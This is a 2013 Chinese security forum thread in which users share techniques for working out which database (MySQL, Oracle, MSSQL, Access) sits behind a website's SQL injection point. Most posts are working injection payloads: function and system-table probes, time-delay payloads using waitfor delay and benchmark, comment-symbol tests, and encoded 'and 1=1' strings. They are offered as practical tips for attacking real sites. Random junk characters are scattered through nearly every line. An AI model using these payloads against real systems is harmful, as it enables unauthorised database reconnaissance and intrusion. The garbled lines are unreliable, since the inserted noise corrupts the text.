找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2269|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
  \7 e1 J7 l1 M/ sxsser (十根阳具有长短!!) | 2013-02-05 12:36- ~) |6 [( l$ h0 f' v* c+ \: V6 @! ^
假设这么一个注射点:
1 s3 J1 W/ f' o/ M$ K0 }show.html?id=28 T: D0 Q0 D0 R* `  z$ v
mysql:id=2 and version()>0
1 _5 ]( w8 ]/ d# Koracle:id=2 and '1'||'1'='11& D4 u0 O4 ^0 K) o) a) d9 Z
其他的欢迎补充# R) e4 E6 X, I5 V5 }( _$ C+ b
1#
- \% F2 C% B* t8 F# C, l9 D1 p" y- Mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:471 v/ w0 ~! P0 s0 ]% @. w8 F: n
Access:. B  Q$ y( m4 u# \( t
aNd aSc(cHr(97))=97/ e5 m! d6 v$ Y" h  C. Z3 N
and exists(select id from MSysAccessObjects)8 h3 _( A% p# y4 i2 c+ e
SQL Server:
7 n7 @4 }  C& W2 B: i0 Iand exists(select id from sysobjects)
0 M" n! ^- L# t. i) [: {3 d/ c( z& gand length(user)>0
* _% {0 D7 G  VMySQL:$ a& T$ y7 O8 Y3 R' }$ D
and length(user())>0: c2 R. R% F' S
2#( V) D* c$ X; `% M  M
xsser (十根阳具有长短!!) | 2013-02-05 12:48
! J* {% Q! T6 J4 x@upload 如果这些都不是呢…
2 c% Y. x, O  n9 P3#: k' j+ B5 \: l) [$ s6 e
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03; X; v  l$ R& N  `: D
@xsser 不快速的,延时注入6 [/ s* N5 X# C! _. {5 k; P) d
不知道这样写对不对
. i8 I) F8 I7 W# Qmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3', `8 U: b1 Q& v8 l3 q& F
mysql:id=2 and select benchmark(1e8,current_date());
7 ~7 Y2 S, P2 S& m7 v4#
$ O$ F+ U9 h2 w/ r) C5 F: X$ Supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10! Z& Y) h  u3 x4 r: C4 x, V
最快的貌似是看报错信息
' o0 I) Q& w# C3 |3 B5 d1 o2 Xoracle error
* x' j/ R6 q# u: ?; G$ |9 bmssql error
+ x/ Y9 q; |9 q- Y2 m- bmysql error% v' Y3 ], W) b9 j7 V5 k  x" v
5#4 g  u' A) r( \1 C+ D
Nimda (你们都是坏银~) | 2013-02-05 13:14
( D1 j% L+ O9 ?" k+ |1 K# m9 c小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)9 F; z! c% o) \, J
6#3 Q6 n$ a+ K. |& ]+ m
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
/ O9 I/ X' h8 n# S) k7 {8 }  O“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:! W( u* z- G% t8 ^
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:* i( I  _0 s: S' l- L
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
4 A; A, U' v, {  Z& T3 Z8 @7#
7 I7 x8 u1 ^% k8 @" r_Evil (HackEnd) | 2013-02-05 13:33+ f! H4 U/ q. b" h+ }$ e
PostgreSQL
1 D0 [( O2 A" l. w8#
5 O8 J5 m% T  F, k& lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:426 K  C9 e8 x! s) ]' b* ]7 B/ s, [
切换编码 and 1=1
0 A: \6 J! d8 M1 i2 E& }6 qoracle:
4 l8 D7 t3 N% h# y  ]CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
; v  o+ }5 `/ i# h6 Q2 umssql:
; H4 J; X3 x% f5 k4 j2 GCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
. S) M& V5 I$ E0 }mysql:& f$ n0 i' \+ S1 T7 Y  D  c
CHAR(97, 110, 100, 32, 49, 61, 49)0 q8 {* W  T" I! ~9 u' e' _
9#
1 y, c; q" ^( ^+ G# }9 k$ P) ixsser (十根阳具有长短!!) | 2013-02-05 14:315 r% H- ~  T9 Y+ W3 o0 P
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?% m9 ~* r# ?; K
10#
3 E3 `  w$ c$ H/ e) X! \* `upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46% f; ~' U. B9 l7 W! I; o/ J" v, U
@xsser 是奇葩数据库类型的么?
( v8 ^: _3 s- e+ v0 S根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:- }, V; F9 V2 _  L( N+ Y7 p( y9 x
1.是否可以使用特定的函数来判断,该数据库特有的: y: k- L! a) d! J
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等# C' K( F5 W" s5 D' Q$ t( Y5 R
3.是否可以编码查询
" y0 i* y8 k: w# m6 y4 n7 p  q4.是否显可以利用错信息: A) c5 X5 W1 Y( {8 |
5.是否存在数据库某些特性辅助判断
$ I* t+ h0 \$ R- o个人见解
% ^6 N- J9 Y4 o2 b! T& ]7 e11#* A1 ]( J2 V/ C0 n. Y
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:552 N$ ^: J! g, n+ C& Q  _6 o
已收藏,mssql可以直接看到错误提示的吧~& U2 B; @" x: N/ Z+ a: b7 m
12#/ l: c8 P  @( T- a
Passer_by | 2013-02-05 15:09
+ A) u1 g$ C6 ^7 s曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。# L. {4 w  p2 p5 l( {; E
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表